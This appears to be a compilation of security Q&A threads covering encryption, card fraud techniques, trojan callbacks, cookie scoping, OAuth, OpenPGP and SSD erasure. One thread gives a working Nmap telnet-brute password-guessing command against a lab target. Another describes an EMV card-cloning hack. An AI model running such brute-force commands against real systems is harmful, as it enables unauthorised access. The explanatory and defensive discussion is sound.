Why should I care if a site uses encryption or not if I'm not exchanging any sensitive data? Lots of sites these days, that don't deal with sensitive data, enable encryption. I think it's mostly to make (paranoid?) users feel safer. In cases where there is a user's account being logged in, their personal data accessed, I see how it can be useful.

But what if I'm just reading a news site? Everyone has access to that, it's all over newspapers even. What's the point of encrypting such easily accessible information?

Many users have public social network profiles with their interests listed in them, political and religious beliefs, or that information can be easily found from their personal blogs and websites. They don't see that as a threat to their personal life, so they choose not to hide it. How can viewing non-encrypted popular public content harm them? And how does encrypting such pages protect their privacy?

The issue you're dealing with, here, is that if you decide not to encrypt a connection, you're making assumptions regarding the sensitivity of the data that goes over that connection.

Unfortunately, it is impossible to properly make that assumption because:

You might not have fully understood all the implication of the data (for instance, if Twitter didn't encrypt data, it could be used by government agencies to spot dissidents and opponents).
Data can become sensitive after they are being transmitted (for instance, answering "who was your first grade teacher" in a web chat with old school buddies could lead to a compromise of your iTunes account later on).

In the end, it is the same as dealing with sensitive paper documents: you can decide to shred what's sensitive only but all it takes for that model to crumble is a single mistake. It's much easier to simply destroy ALL documents securely and not worry about sorting.

Given the relatively low cost and of using connection security and the fact that it wards you against all the above problems (mostly), it makes a lot more sense to encrypt everything that to try to cherry-pick the "right" content to be encrypted.


Technical realization of fraudulent credit card cash withdrawal Somebody unauthorized in India managed to withdraw cash from my credit card account. The card I use (and which they claim to have used) is a German Visa prepaid card issued by Postbank. It has a chip and a magnet strip.

I'm interested in the technical side of PIN verification. IIUC the thief must have had a physical card and a PIN for cash withdrawal (as opposed to non-cash transactions like purchases which can be done without a PIN).

The bank representative I talked to claimed that it is possible for anybody who has read the card to create a duplicate. Is that true for both the magnet strip and the chip? I always thought that the chip was introduced to prevent forging.

The representative also claimed that a matching PIN can be computed from the card data, but I think he was not sure about the details. Is that true? I remember that ages ago it was possible to use an ATM which was not online and withdraw money with a forged PIN which tested true against the local card data but would not have passed a verification by the bank. Is that what happened here, e.g. are there still ATMs which are not online?

You are correct that a thief needs a physical card and pin to make a withdrawal. Chips cannot be fully cloned (yet, that may change), but magnetic strips can be cloned or created from intercepted chip data. Brazilian hackers have come up with a way to create working cards which allow any pin and bypass card data authentication:

  The card-cloners created a Java application for cards to run. The
  application has two capabilities: First, it tells the POS terminal
  there is no need to perform data authentication. That means no
  cryptographic operations, sparing them the near-impossible task of
  obtaining the card’s private cryptographic keys.

  But that still leaves PIN authentication. However, there’s an option
  in the EMV standard to choose as the entity checking if the PIN is
  correct…your card. Or, more precisely, an app running on your card.

  You read that right: The cybercriminals’ app can say a PIN is valid,
  no matter what PIN was entered. That means that the crook wielding the
  card can simply enter four random digits — and they’ll always be
  accepted.

However, it's unlikely that's how your card was compromised. While there are attacks against credit card chips which can break encryption and retrieve PIN and other data, they aren't used in the wild so that representative was. What's likely happened to you is you've been hit by one of the mainstream credit card attacks:

Skimming: a device reads the magnetic strip of your card as it's put into a machine while another device gets your pin by videoing your fingers or reading the key input
Compromised ATM: a hacked ATM gives the strip and pin data to attackers
Shimming: a device is put between your card's chip and a card reader, it intercepts the communications between the device and your card, allowing the magnetic strip to be re-created. Your pin would need to be gained separately using the same methods as skimming
Compromised Point of Sale System: some major retailers' point of sale terminals have been hacked in the past, handheld credit card readers have as well, where your card data and pin are sent to a malicious third party


How a trojan allows attacker to connect to remote computer behind a router According to this article on Wikipedia, a trojan horse can allow a remote connection by opening a random port if it is able to bypass the firewall. I'm not much of an expert of routers and Network Address Translation but if a trojan horse opens a connection through the firewall, how does this allow the owner of the trojan who is on another network to connect to the victim computer since the victim computer IP is private and can't be connected to.

Example scenario
A trojan horse opens a random port 1234 on the victim computer when ran and assume that it bypasses firewall. How is the attacker able to connect to the victim computer remotely.

Victim computer has private IP 192.168.1.147 and public IP 10.1.1.44 and attacker has private IP 192.168.0.119 and public IP 10.2.1.54, how do the two computers communicate with each other?

Assuming that victim computer has a listener on port 1234 and attacker has connector that connects to port 1234 and takes IP of victim. What IP would the attacker use? Would it be the public IP or the private IP?

The attacker doesn't connect to the victim computer, the victim computer connects to the attacker. Data in a connection can flow in both directions, it doesn't matter who initiates the connection in the first place. Once a connection is established the attacker is able to execute commands on the victim computer. The attackers use well-known web protocols that are usually allowed.

Here's how it works:

The attacker compromises a server of servers to set up a command and control (C&C) system
The trojan is customized to connect to the C&C systems
The trojan is distributed (by spam emails, drive by downloads,etc) and victim systems infected
The infected systems initiate connections to the C&C systems
The attacker sends commands, updates, etc to the victims through the victim connection
The victim computers then action the malware commands (send spam, scan for identity or credit card information, search for company secrets, etc)
The victim computers send reports and data back to the attacker


Is my current method of handling session cookies insecure? I'm writing a multi-tenant application where accounts are scoped by subdomains. This adds considerable complexity and I'm starting to worry about security.

Each user can have several accounts. For example, assuming acme.com is my app, elmer.acme.com and fudd.acme.com can belong to the same user. When logged in, users can add new accounts, and/or switch contexts to a different account if they already own another one.

I'm using Rails, and I'm using the :cookie_store for my session_store

ACME::Application.config.session_store :cookie_store, key: '_acme_session', domain: :all

When users register, I create a remember_token attribute (different than the password) that gets stored. It value is a random base 64 string. I then create an .acme.com cookie with that value. This ensures that users are logged in under every context.

When viewing elmer.acme.com
When switching to fudd.acme.com or any other acme.com domain or subdomain.
When adding a new account bugs.acme.com

I noticed that other multi-tenant apps scope their session cookies on subdomain basis. So, on UserVoice, logging into elmer.uservoice.com and going to fudd.uservoice.com requires you log in again.

Am I missing something here and exposing potential vulnerabilities using this approach? I'm afraid I missed something obvious!

My implementation for the cookies:

When users register I create a remember_token attribute and store it, and then assign its value to a cookie.
I look for this cookie when users return; if it's found, I look up the user based on its value and log them in, otherwise they log in using their username and password.

You asked: Am I exposing potential vulnerabilities by exposing the same session cookie to all my  users' subdomains?

Answer: It depends, but generally speaking, yes, you could be exposing yourself to some attacks.  It depends upon what kind of content you allow on the subdomains (e.g., elmer.acme.com).  There are two cases:

If you allow Elmer to put arbitrary HTML on the website hosted at his subdomain elmer.acme.com, then you have a problem.  Using the same session cookie on all subdomains is a security hole in this case.
The attack: A malicious Elmer could set up his site elmer.acme.com with some Javascript that reads the session cookie of anyone who visits his site and steals it.  Then, if poor Bugs Bunny visits http://elmer.acme.com/ (Elmer's site), Elmer learns Bugs Bunny's session cookie.  Now Elmer can pretend to be Bugs Bunny when visiting other subdomains (including Bugs' own site).  That's no good.

If you somehow prevent Elmer from writing arbitrary HTML, Javascript, etc., to the website on his subdomain, then you might be OK.  However, be warned this may be tricky to do securely, if you allow the users a lot of control over the content on their subdomain.  You'll have to block a lot of stuff (including Javascript, Flash, Java, META tags, and maybe more).

Generally speaking, the reason to use multiple subdomains is to isolate multiple users from each other, so that one malicious user cannot harm other users, and so that a security failure by one user does not harm other users.  If that's the reason you are using multiple subdomains, then your practice of using a single session cookie on all domains is insecure and should not be used.
In other words, most folks who are using multiple subdomains are probably in the first case, and thus I would expect that in many cases where multiple subdomains are used, it is not a good idea to expose the session identifier to all subdomains.

A better approach, that doesn't have these problems: Add a login page on acme.com.  When users log in on acme.com, give them a session cookie that is scoped to acme.com only (no subdomains).  This will be the secure session cookie.
When users visit a subdomain, you can do some tricks to authenticate them using their acme.com-session cookie and then give them a new cookie that is specific to the subdomain, without requiring them to log in again.  The backend webserver can remember the association between the subdomain-specific cookie and the secure session cookie, so the webserver will be able to manage authentication in a way that the user doesn't notice.
This way, because you are separating your cookies by domain, you get better security.  If one subdomain hosts malicious content, it learns only the session identifier for that subdomain, but it doesn't learn the session cookie for acme.com or for any other subdomains.
For instance, the secure session identifier for acme.com might be 7a3f...90 (cookie: SESSIONID=7a3f...90, scoped to acme.com).  The session identifier for elmer.acme.com might be 09ac...b3 (cookie: SUBDOMAIN_SESSIONID=09ac...b3, scoped to elmer.acme.com), generated as SHA1(7a3f...9 || elmer.acme.com) = 09ac...b3.  The session identifier for fudd.acme.com might be f067...85 (cookie: SUBDOMAIN_SESSIONID=f067...85, scoped to fudd.acme.com), generated as SHA1(7a3f...9 || elmer.acme.com) = f067...85.  If elmer.acme.com is malicious, it cannot learn the secure session identifier or the session identifier for any other subdomain; it can learn the session identifier for its own subdomain, but that doesn't give Elmer any additional powers he didn't already have.
The only tricky bit is how to install these cookies onto the user's computer.  I don't think it is a good user experience to ask/expect users to log in again for each subdomain they visit.  Therefore, we should look for a technological solution that lets us transfer the session cookies across domains securely, without requiring the user to log in multiple times.
There are ways to achieve this, using iframes, postMessage, and/or redirection between domains.   For instance, here is one approach.  elmer.acme.com can have an invisible iframe that loads acme.com/authenticationhelper.  The latter can use the secure acme.com-session cookie to authenticate the user.  Meanwhile, the elmer.acme.com page can use postMessage to communicate to that iframe and ask it for a new session identifier that's good only for elmer.acme.com.  Once elmer.acme.com receives this new session identifier, it can automatically set a session ID cookie that's scoped to elmer.acme.com, and now you're good.  Here a key fact about postMessage is that the recipient of such a message can verify the domain that sent the message, which prevents spoofing and malicious attacks (acme.com can verify that it is elmer.acme.com who is requesting a subdomain-specific session identifier and respond with the appropriate session identifier for elmer.acme.com).
See the steps that Livejournal takes to protect its cookies, for an example of this sort of approach deployed in practice.  You can also read about the attack that prompted them to implement this defense, to learn about the risks of doing nothing to defend against these threats.


How to run OWASP ZAP automatically using command line operations (i.e. Jenkins) I am trying to run OWASP ZAP automatically using command line opoerations. I have tried using the APi as described here, but I am getting these errors.

I have also tried with zapr, but it's also showing error as set path while I have try to set it by every possible combination.

You have any way and their steps/tutorial (link, video) so I can achieve same.

I ran into a similar issue while trying it. Not sure if you found a way to set the ZAP home path for the zapr wrapper. This worked for me:

zapr --summary --debug --zap-path $/usr/share/zaproxy/zap.sh http://localhost:3000


Network packet obfuscation Suppose I am wirelessly transmitting network traffic between a computer and a router. As I understand it, even though the traffic is encrypted, it is possible for a third party attacker to intercept the data packets and observe their basic properties. From this they can infer (or at least make an educated guess about), for example, whether the computer is currently in use or not, and what kinds of applications are being used on the network (e.g. a VoIP call's packets would differ in size and frequency from HTTP packets).

I am interested in the (im)possibility of obfuscating network traffic in such a way as to undermine this kind of eavesdropping. So my questions are:

Is it technically feasible and practical to obfuscate packets sent over a network when you control both ends of the transmission? For example, can one pad the packets to a uniform size and frequency (or randomize their size, etc.) without significantly degrading the performance of the network and without being able to modify the applications themselves?
If yes, are there "off the shelf" solutions for implementing such obfuscation in a simple "one router, several desktops" kind of environment?

can one pad the packets to a uniform size and frequency (or randomize their size, etc.) without significantly degrading the performance of the network and without being able to modify the applications themselves?

It is possible to add noise both in bytes and in timing and also to make traffic look like a different kind of traffic. It is also possible to make it transparent to applications at the endpoints if you have control of the endpoints itself, i.e. can create a VPN or similar.

But the less noise you add the more the original traffic patterns stand out, even if packed inside some other protocol. And how much and which kind of noise you can add without degrading the performance of the application in a significant way depends on various factors. For example with voice over IP application you cannot add too much delay too the data because otherwise the necessary real time requirements are lost. If you have enough bandwidth you could add lots of junk traffic though to hide the original traffic. With simple downloads instead there are no real time requirements so you are more free to add noise by varying timing, packet sizes etc.

  If yes, are there "off the shelf" solutions for implementing such obfuscation in a simple "one router, several desktops" kind of environment?

The are for example the pluggable transports for Tor. These are intended to make Tor traffic look like different kinds of traffic.


Arduino to Android secure bluetooth connection I'm using an Arduino Uno and a nRF8001 board from Adafruit to connect to an Android phone over bluetooth. I will be using it to lock and unlock a lock and I need to make sure only verified devices are able to initiate the locking and unlocking. I've searched around a bunch and I'm having trouble finding a clear example of what I should do to verify the connecting device. Currently I have the Arduino hooked up to the lock and whenever the Android phone connects, it is allowed to lock and unlock.

I'm pretty new to cryptography and some guidance would be helpful. From what I've read, it sounds like md5 hashing is both broken and not the correct solution for my problem. I've found SipHash and that seems to be the closest thing that I might need. The process I had in mind is as follows.

Android tries to connect to the Arduino
Arduino sees the request and sends a random string to the Android device
The Android encrypts the string with a shared secret key and sends it back to the Arduino
The Arduino decrypts the encrypted string and verifies it matches the original it sent if it does it it goes ahead and connects/continues with locking or unlocking.

Am I on the right track with SipHash and the process above? Is there a better more common way to do this? After searching around here I found some info here. It looks like I should worry about man-in-the-middle attacks and MAC spoofing. I would just check the MAC address as verification, but from what I remember, it is very easy to spoof MAC addresses. Any help would be appreciated.

You have the right idea, namely a shared secret that is never transmitted from one device to the other.  If you do that, you should not need to worry about MAC addresses or MITM attacks.  You are vulnerable only if attacker can get that shared secret.

Since the shared secret is the {ahem} key, you need to be confident that it cannot be generated independently.  One way to do that is to generate it with a cryptographically secure pseudo-random number generator (CSPRNG).  You might also consider using Diceware words, which are somewhat more human-friendly, but will need a longer string to get equal entropy.

Now, about the actual algorithm: SipHash is new to me, but a little reading tells me it's a keyed hash function.  That is, it's not invertible, so step 4. will not work as  you have written it.

If SipHash is a given, then Step 3 is "The Android hashes the string with a shared secret key and sends it back to the Arduino."

Step 4 is the real difference: "The Arduino computes the same hash and verifies it matches the hash received from Android; if it does it it goes ahead and connects/continues with locking or unlocking."

Alternatively, you could use symmetric encryption, such as AES.  A little Googling around finds AES libraries for Arduino and I know that they exist for Android.


Can a smartphone be accessed only by knowing its IMEI? I have an old smartphone that I want to use only as a media player/portable radio/voice recorder. It doesn’t have a SIM card and it’s not connected to WiFi. I am curious however can the files on it still be potentially accessed somehow? I know that a phone can be tracked with its IMEI number and according to this site – www.imei.info – you can “know such data as: the network and country from which your device originally comes from; warranty information ; date of purchase; carrier information; system version; device specification and more details information.” For the “system version” part, it seems to me that you have to have a pretty thorough access to the phone and possibly able to read the files on it; is this so or is this impossible?

Thanks in advance.

P.S. I read these topics - Can Android phone running without SIM card be tracked (localized) by police?, Track an Android phone through its IMEI, but they don't answer this exact question.

No, an IMEI does not give file access on smartphones
I'm not knowledgeable about older phones and the weird apps they built into them but smartphones have no such capability unless the carrier has built some horrible spyware into your phone. Most of these "track a cell phone with just the IMEI online" things are complete garbage and mostly fake. The IMEI is just an identifier for the phone so that carriers can know which physical device it is talking to.
Knowing an IMEI can have a different impact if you have access to the carrier database or not. Without the database you can maybe tell what model phone/ generation it is however these databases often have multiple matches since the data isn't well coordinated. IMEI does not give a specific purchase date or carrier but these databases make assumptions because generally IMEIs are assigned in order. Warranty information is guessed based on this information. All information here is static-ish. They are not polling your phone however sometimes the information could change if they get a new data set.
Things get a bit fuzzier when you are the carrier because they have a lot more information and communicate directly with your device, unlike any of these IMEI sites. The carrier is in a very privileged position because they can control SIM apps which silently can run on the microprocessor on your sim card. Here's a very very cool DEFCON talk about this. With this and their ability track you they have a huge amount of information about your device itself however they still don't have access to your data unless they are actively exploiting and attack your device. Any information the carrier receives is reported by the OS. The carrier isn't accessing the phone and reading the version property but instead asking the device what version it is. All of this, of course, assumes that the carrier hasn't added some nasty tracking software however AOSP/iOS devices should be entirely clean.


Oauth2 PKCE - Can the refresh_token be trusted? If a have a mobile that is authorized against my server using PKCE, which allows it to get a access_token and a refresh_token, to what extent should I trust that the app can use the refresh_token from now on to get the access_token? Surely the same concerns that led the standard to invent PKCE are at play here?

I am asking because while I was playing around with a Ruby library for Auth2, I discovered that this is OK to do, which perplexed me. Shouldn't this particular use case just ban refresh_tokens?

EDIT: Not sure if this will turn out to be the answer, but perhaps we assume here that (given a TLS connection), the refresh_token was sent back to the app securely and as long as the app is talking to the server directly we are good?

The OAuth2 authorization code grant has two phases:

Exchange primary credentials for an authorization code using browser redirection
Exchange the authorization code for an access token (and optionally a refresh token) over a secure channel

For native apps, there are some situations where browser redirection may expose the redirected response to another party. See RFC 8252 for details, and note Section 8.1 which describes the problem that PKCE solves.
PKCE ensures that if the authorization code is exposed to another party, then that party cannot use the authorization code to obtain the access and refresh tokens.
The second step does not use browser redirection. Hence, the sensitive tokens returned cannot be exposed in the same way.
Since the refresh token is returned using a secure channel, it it is safe to use it to obtain a new access token without requiring the PKCE challenge and verify steps.


Is OpenPGP insecure if it only supports PCKS#1 v1.5? I've just read the RFC 4880 specs and there is nothing about OAEP; only PKCS#1 v1.5.
If it is true that the OpenPGP-standard only supports the PKCS#1 v1.5 padding-scheme, is this a security issue?

Usually it's said that you should not use PKCS#1 v1.5 anymore or just for legacy reasons because it allows padding-oracle-attacks.
However, OpenPGP/GnuPG is considered secure. So, are the padding-oracle-attacks feasible?

(I think they shouldn't be possible, because the recipient doesn't send any information back to the sender; but I'm not an expert, so I'm asking here)

Some second thoughts: Padding-oracle-attacks should not be possible if you verify the signature of the sender and only decrypt the message if the sender is valid or am I wrong here?

As you may have noticed, section 11.3 of RFC4880 enumerates the legal packet compositions. In practice, you will observe that the signed payload is embedded in the encrypted message, so you can only check the signature after decrypting the message.

Regarding other matters, your statement "OpenPGP is considered secure" is wrong under some circumstances.
OpenPGP is, regarding many aspects, not secure against oracle attacks (mainly because of the lack of authenticated encryption scheme) and should probably not be used in automated decryption procedures unless you are a crypto expert knowing how to appropriately mitigate all of the possible information leaks. This statement is supported by many OpenPGP developers and this risk is clearly documented by some of them (e.g. End-to-end team).

For what it worths, next CT-RSA conference will host a talk about some new OpenPGP CCA vulnerabilities that were found in many OpenPGP implementations : http://www.rsaconference.com/events/us15/agenda/sessions/1761/chosen-ciphertext-attacks-in-theory-and-practice

edit:typo


Nmap NSE Password Brute Force is Stopping on First Positive Instance I'm running an Nmap brute force against metasploitable2 (telnet). The script is stopping on the first found username/password and is not iterating through the entire user/password file i have provided. I have tried using all appropriate args but no luck. Any ideas?

nmap -vv -p 23 --script telnet-brute --script-args userdb=users.txt,passdb=pw.txt --script-args telnet-brute.emptypass=true --script-args telnet-brute.firstonly=false TARGETIP

Solution found. --script-args can only be called once, contrary to the documentation at: https://nmap.org/nsedoc/scripts/telnet-brute.html.

The successful command is:
nmap -d -vv -p 23 --script telnet-brute --script-args "userdb=users.txt,passdb=pass.txt,telnet-brute.emptypass=true,telnet-brute.firstonly=false" TARGETIP

Thanks for your help @GreatSeaSpider, @atdre, @schroeder


ATA security erase on SSD Is it possible to recovery data from SSD, that was secure erased (https://ata.wiki.kernel.org/index.php/ATA_Secure_Erase), by IT or professional data recovery company?
Does this type of erasing reduce liftime of SSD?

A paper from 2011 by four people from the University of California, San Diego writes in section "3.2.1 Built-in sanitize commands":

  Of the 12 drives we tested, [...] Eight of the
  drives reported that they supported the ATA SECURITY
  feature set. One of these encrypts data, so we could not
  verify if the sanitization was successful. Of the remaining seven, only four executed the “ERASE UNIT” command reliably.

So in 2010/2011, out of 12 commercially available SSDs models 8 advertised that they support ATA Secure Erase, and either 4 or 5 models performed a secure erase. The rest didn't, to varying degrees:

  Drive B’s behavior is the most disturbing: it reported
  that sanitization was successful, but all the data remained
  intact. In fact, the ﬁlesystem was still mountable. Two
  more drives suffered a bug that prevented the ERASE
  UNIT command from working unless the drive ﬁrmware
  was recently reset, otherwise the command would only
  erase the ﬁrst LBA. However, they accurately reported
  that the command failed.
  The wide variance among the drives leads us to conclude that each implementation of the security commands must be individually tested before it can be trusted
  to properly sanitize the drive

It would be nice to have more recent data, because SSD designs have changed a good deal since 2011. Sadly I haven't found anything newer.


Can HIPS software practically be considered a form of MAC Host Intrusion Prevention Software can restrict applications from taking certain actions regardless if they have the privileged to do so as assigned by the operating system.

Given that with the use of HIPS applications can be significantly restricted and a principle of least privilege enforced (somewhat), can HIPS software be considered somewhat equivalent to a MAC implementation?

No, HIPS is fundamentally different than MAC.

Mandatory access control (MAC) systems try to provide a robust foundation for security on your machine.  MAC systems are generally intended to provide a high level of assurance: they are based upon a rigorous mathematical theory, they try to provide strong guarantees, and they are intended to be secure even if the attacker knows how the MAC system works.  In general, MAC systems are generally intended to be very difficult for attackers to defeat.

Host-based intrusion prevention software (HIPS) tries to provide a best-effort mitigation against some common methods of compromising machines.  HIPS doesn't provide make any guarantees.  HIPS is not based upon any rigorous theory; instead, it is based upon a characterization of common methods that attackers tend to use.  A sophisticated attacker who is familiar with your HIPS can likely evade detection by the HIPS and render the HIPS worthless, but that is generally considered OK, because that is not the kind of threat that HIPS is primarily aimed at preventing.  HIPS are based upon host-based intrusion detection (HIDS) systems, which make a best effort to detect what attacks they can; the difference between HIDS and HIPS is that HIDS just detects (some) attacks, whereas a HIPS is a HIDS that also has some mechanism to try to stop any attack that the HIDS detects.  Since HIDS systems never claimed to be able to detect all attacks, it will also be true that HIPS systems cannot prevent all attacks.  The upside is that HIPS is a lot easier to deploy on a legacy system -- but it provides a much lower level of security, and a lower level of assurance.

Or, if you want to think in terms of an analogy: HIPS systems are like a blacklist.  MAC systems are like a whitelist.  Whitelists provide stronger security, but are also more restrictive, and thus blacklists may be easier to deploy.

In short, MAC and HIPS are in a different league from each other.  They're not in competition with each other, because MAC is intended and designed for a different context than HIPS.


Peer review of C# cryptography for Azure Table security Edit: Update - I am researching how to implement AES with authentication in an efficient way for this project.  If you have the time I'd appreciate your skill in finding the best implementation for this FOSS project.

Could you folks review and comment on the encryption code I just posted on Codeplex?  The intent is to use this as a foundation for encrypting Azure Table properties and prevent any unauthorized MSFT employee from casually browsing or editing my data.  It's a working sample that should use any public private key pair on your local system.  Just make sure you set permissions on your private key correctly.

For Azure Table, I want to encrypt each and every property below (including rowkey and partitionkey) using a symmetric key.

public class ContactDataModel :TableServiceEntity
{
    public ContactDataModel(string partitionKey, string rowKey)
        : base(partitionKey, rowKey)
    {
    }

    public ContactDataModel(): this(Guid.NewGuid().ToString(), String.Empty)
    {
    }

    public string Name { get; set; }
    public string Address { get; set; }

    // Used to rotate keys, while allowing old data to still be read
    public int EncryptionVersion {get;set;}
}

I intend to store the encrypted version of the symmetric key, and the nonencrypted IV on Azure Table storage.  The overall design assumes that an encrypted symmetric key renders all other encrypted table data useless, even if the IV is available.

The symmetric key is encrypted with a RSA key that is securely delivered to my Azure Role instance.

Known issues:

I do know that I'm missing a seed in my symmetric encryption.  How would I implement this from a Crypto perspective?

I suggest you take a look at the thread on Lessons learned and misconceptions regarding encryption and cryptology.  If I'm reading your code right, it looks like this code makes at least one mistake listed there.  (e.g., use of encryption without authentication)  Please review that page carefully to make sure you're avoiding the mistakes documented there.

More seriously, it may not be a good idea to design your own encryption format.  Rather than re-inventing the wheel (insecurely), I recommend you use an existing well-vetted scheme, like GPG or PGP, for encrypting data.  Most crypto libraries are intended for someone who is already very knowledgeable about crypto design; if you aren't super-knowledgeable about design of cryptographic schemes, then crypto libraries may lead you astray, because the primitives they provide are too low-level.  You have to know a lot to combine those primitives properly into a fully secure scheme.

By the way, I find reading code a painful and inefficient way to review a cryptographic design.  I suggest that, if you would like external review from volunteers, you should take the time to craft a specification of the encryption format, in a standard cryptographic/mathematical notation.  Roughly speaking, the specification should define the format in enough detail that someone else could independently implement it an interoperable implementation, without any knowledge of C# and without any C#-specific stuff.  Such a specification should specify the exact algorithms in use.  For instance, it might say to encrypt a message M to the ciphertext C as C = (X, AES-CMAC(K1, X)), where X = AES-CBC(K0, M), or something like that.  If you have to design your own encryption format, that's the level of abstraction which is probably most appropriate for analyzing it.  But best of all is to avoid designing your own encryption format, and thereby avoid the need for such analysis.


Where are Lamport OTP used? I understand that Lamport OTP uses hash chains to generate passwords. Is it practically feasible to use them?
Where are Lamport OTP being currently being used?

I read some online papers that state that Lamport OTPs are computationally intensive and hence other schemes are preferred over them. Is there any known service that uses this?(like banks OTPs)

As Lampport OTP's doesn't require a shared secret, it is extremely feasible to use them, particularly where services which require successive authentication.

Assume the following

A = Hash(B)
B = Hash(C)
.
.
.
Y = Hash(Z)

The entire hash chain above will be generated at the client and will be stored. The exchanges between client and server will be as follows.

[Client] -----------A-----------> [Server] Stores A
[Client] -----------B-----------> [Server] Verifies if Hash(B) == A; If yes, authenticates and discard A and stores B. If No, authentication failure.
[Client] -----------C-----------> [Server] Verifies if Hash(C) == B; If yes, authenticates and discard B and stores C. If No, authentication failure.

And coming to your question, here is an example on how Lamport OTPs are used for securing client service interactions.


Android application interception issue I'm a newbie to android pen testing and started off with an application.
The app uses HTTPS and works fine without configuring any proxy.
When a proxy like a burp suite is configured, the app responds with an error message. However, I'm able to intercept other HTTPS apps. I suspected SSL pinning. But it is not the case, as the sample pen test report which I got has burp screenshots. Even the code base doesn't have any pinning related checks.

Please help me intercept the traffic. I've tried following points:

Downgraded the Java version to make it compatible with the burp jar.
Checked with fiddler as well.

I think it is best to install Burp suite certificate into the Android test phone.

If your test phone is Nougat and above, you can refer to the link below.
https://blog.ropnop.com/configuring-burp-suite-with-android-nougat/

If not, you can just refer to this Burp help page.
https://support.portswigger.net/customer/portal/articles/1841102-installing-burp-s-ca-certificate-in-an-android-device

Hope this helps.


Which format is used for distribution of signed certificates by real CA I am working on CA implementation on rails (quite raw), using recipes from OpenSSL cookbook by Ivan Ristić and have stumbled

Applicant (or developer, or server) have my CA root certificate
He made csr request
my CA sing it with intermediate subca certificate
How to provide certificate to applicant with all chain that he will use for verification? How this made by real CA? Or even should I provide all chain or applicant must derive subca.crt url from authorityInfoAccess extension and upload it by himself (which lies in public dir)?

Different CA does this differently.

One CA I've used out as a downloadable zip file containing your certificate and the intermediate certificate in various formats. Others provide a preconcatenated certificate and intermediate certificates as a single pem file. Some just points you to another page where you can download the intermediate certificates.

Personally, I find downloading them as a single downloadable zip is the easiest, and most convenient way to receive certificates.

Recently, some CA like Let's Encrypt also provide automated issuance. In this manner, you install an acme script on your server, and then that script automatically detects your web server, orders a certificate, automatically configure your webserver to do domain validation, downloads the signed certificate in the right format for your particular server, and automatically installs the certificate for you on the web server. The script can also be installed as a cronjob that automatically renews the certificate when it is close to expiry. If you're just configuring a domain validated certificate, this can be the most convenient for users, but it's also the most difficult to implement for CAs.


is it possible to intercept network packets outside lan? User A is in a different country than user B and they have different IP ranges and ISPs.

Is it possible for A to intercept B's communication sent to a third party, without using techniques like malware attacks, phishing, etc. I.E without access to B's computer.

Sort of what you see in Hollywood movies.

I.e without access to others computer.

I'm assuming that you mean that A cannot access the computer of B and B not of A, but they can access other computers on the internet.

Since information are not exchanged directly between parties but involve multiple hops there are several ways to intercept the data. Just to give you an idea what can be done here are some real-life examples:

Have some kind of wiretaps at these hops: This includes backdoors in routers or firewalls, wiretaps at central hops like several state agencies (NSA, GCHQ) have, hacking the router...
Divert the traffic through hops which are controlled by the attacker: This includes  BGP spoofing but also changing the DNS settings in SoHo routers with CSRF attacks or similar.


Why use the UUID method over traditional ID? The following quote came from one of my Teachers not to long ago, along with an exercise to build an application:

  To follow guidelines, you are to use UUID's instead of ID's.

Of course, the question Why is an UUID safer/better than an traditional ID came by.

The UUID is supposed to be used in a Database table of Users, containing login, but also personal information like phone number, real name, address etc.

From what I know, it's written in a few enterprise guidelines for larger companies to utilize UUID's when working with privacy sensitive information, Is it also custom to apply an UUID to other information other than privacy sensitive information?

A UUID will not add any specific security when used as an ID in a database. Its main role is to be (reasonably) unique.

Basing the security of a database on the randomness of IDs (supposedly because they are harder to guess than an incremental ID, I guess) is not a good security measure. It will certainly not hurt but the basic mechanisms must be applied first. What is of uttermost importance is the security of the application requesting data from this database (SQL Injection being one of the top concerns)


Can I re-sign SMIME certificates with my own CA? Many large corporations choose to use their own CA to sign their employee's SMIME certificates. Which is fine for internal use, but they typically expect external users to import their corporate CA into their email client's certificate store.

I find this expectation unreasonable, as I do not want to trust any more CAs than I already have to. Even without assuming malicious intent, I don't know how well these corporations protect their private keys.

Unfortunately, some of these corporations are our customers. And I'm not going to convince a Fortune 500 company to change their ways by purchasing SMIME certificates from a public CA.

Is it possible that I somehow re-sign single SMIME certificates from my correspondents with my own CA, which I then import into the certificate store? This would be a client-agnostic solution to the whole issue. Of course I'd verify the certificate's fingerprint beforehand over the phone, mimicking the workflow of PGP.

While it is theoretically possible to create a new certificate from the public key contained in the certificate, this has some down sides:

This is a lot of work as usually CAs require proof of ownership of the private key to create a certificate (for example by a CSR), so the common tools would not work as seemlessly as with a CSR (afaik).

You are either repeating your check for hashes on every key or trusting the CA by blindly resigning their certificates.
If you do plan on checking all fingerprints, you might as well express trust in just those certificates directly rather than the CA they came from. While this is not confirming to the standard, some implementations do allow for that for such reasons.

Your initial point of “I don’t know how secure the CA is” is not handled: if the CA (as often with such companies) not only signs a CSR but creates a key pair for the user, the CA you are trying to explicitly not trust may hold the private key for a certificate you signed.

To recap, some of the problems go away when your client allows to explicitly trust a certificate rather than a CA, yet you should keep in mind that you did so and the privacy of the conversation might be broken (maybe even by a mail gateway of the company) either way.
To get rid of the warnings, this does help - to actually have trust for the use cases of S/MIME both ways (your and my suggestion) both do not help.
But then again, the PKI is in a somewhat broken stage such that - depending on your needs - not even a “real” CA would satisfy your needs and you would be better off with a PGP approach, personally expressing trust after out-of-band authentication.


Why is passing the session id as url parameter insecure? I recently followed a discussion, where one person was stating that passing the session id as url parameter is insecure and that cookies should be used instead. The other person said the opposite and argued that Paypal, for example, is passing the session id as url parameter because of security reasons.

Is passing the session id as url parameter really insecure? Why are cookies more secure?
What possibilities does an attacker have for both options (cookies and url parameter)?

Is passing the session id as url parameter really insecure?

While it's not inherently insecure, it can be a problem unless the code is very well-designed.

Let's say I visit my favorite forum.  It logs me in and appends my session ID to the URL in every request.  I find a particularly interesting topic, and copy & paste the URL into an instant message to my friend.

Unless the application has taken steps to ensure that there's some form of validation on the session ID, the friend that clicked that link may inherit my session, and then would be able to do anything I can do, as me.

By storing session identifiers in cookies, you completely eliminate the link sharing problem.

There's a variation on this theme called session fixation, which involves an intentional sharing of a session identifier for malicious purposes.  The linked Wikipedia article goes into depth about how this attack works and how it differs from unintentional sharing of the session identifier.

  Why are cookies more secure?

Cookies can be more secure here, because they aren't something that normal users can copy & paste, or even view and modify.  They're a much safer default.

  What possibilities does an attacker have for both options?

Neither of these methods is secure from man-in-the-middle attacks over unencrypted communication.  Browser addons, spyware and other client-side nasties can also spy on both methods of storing session identifiers.

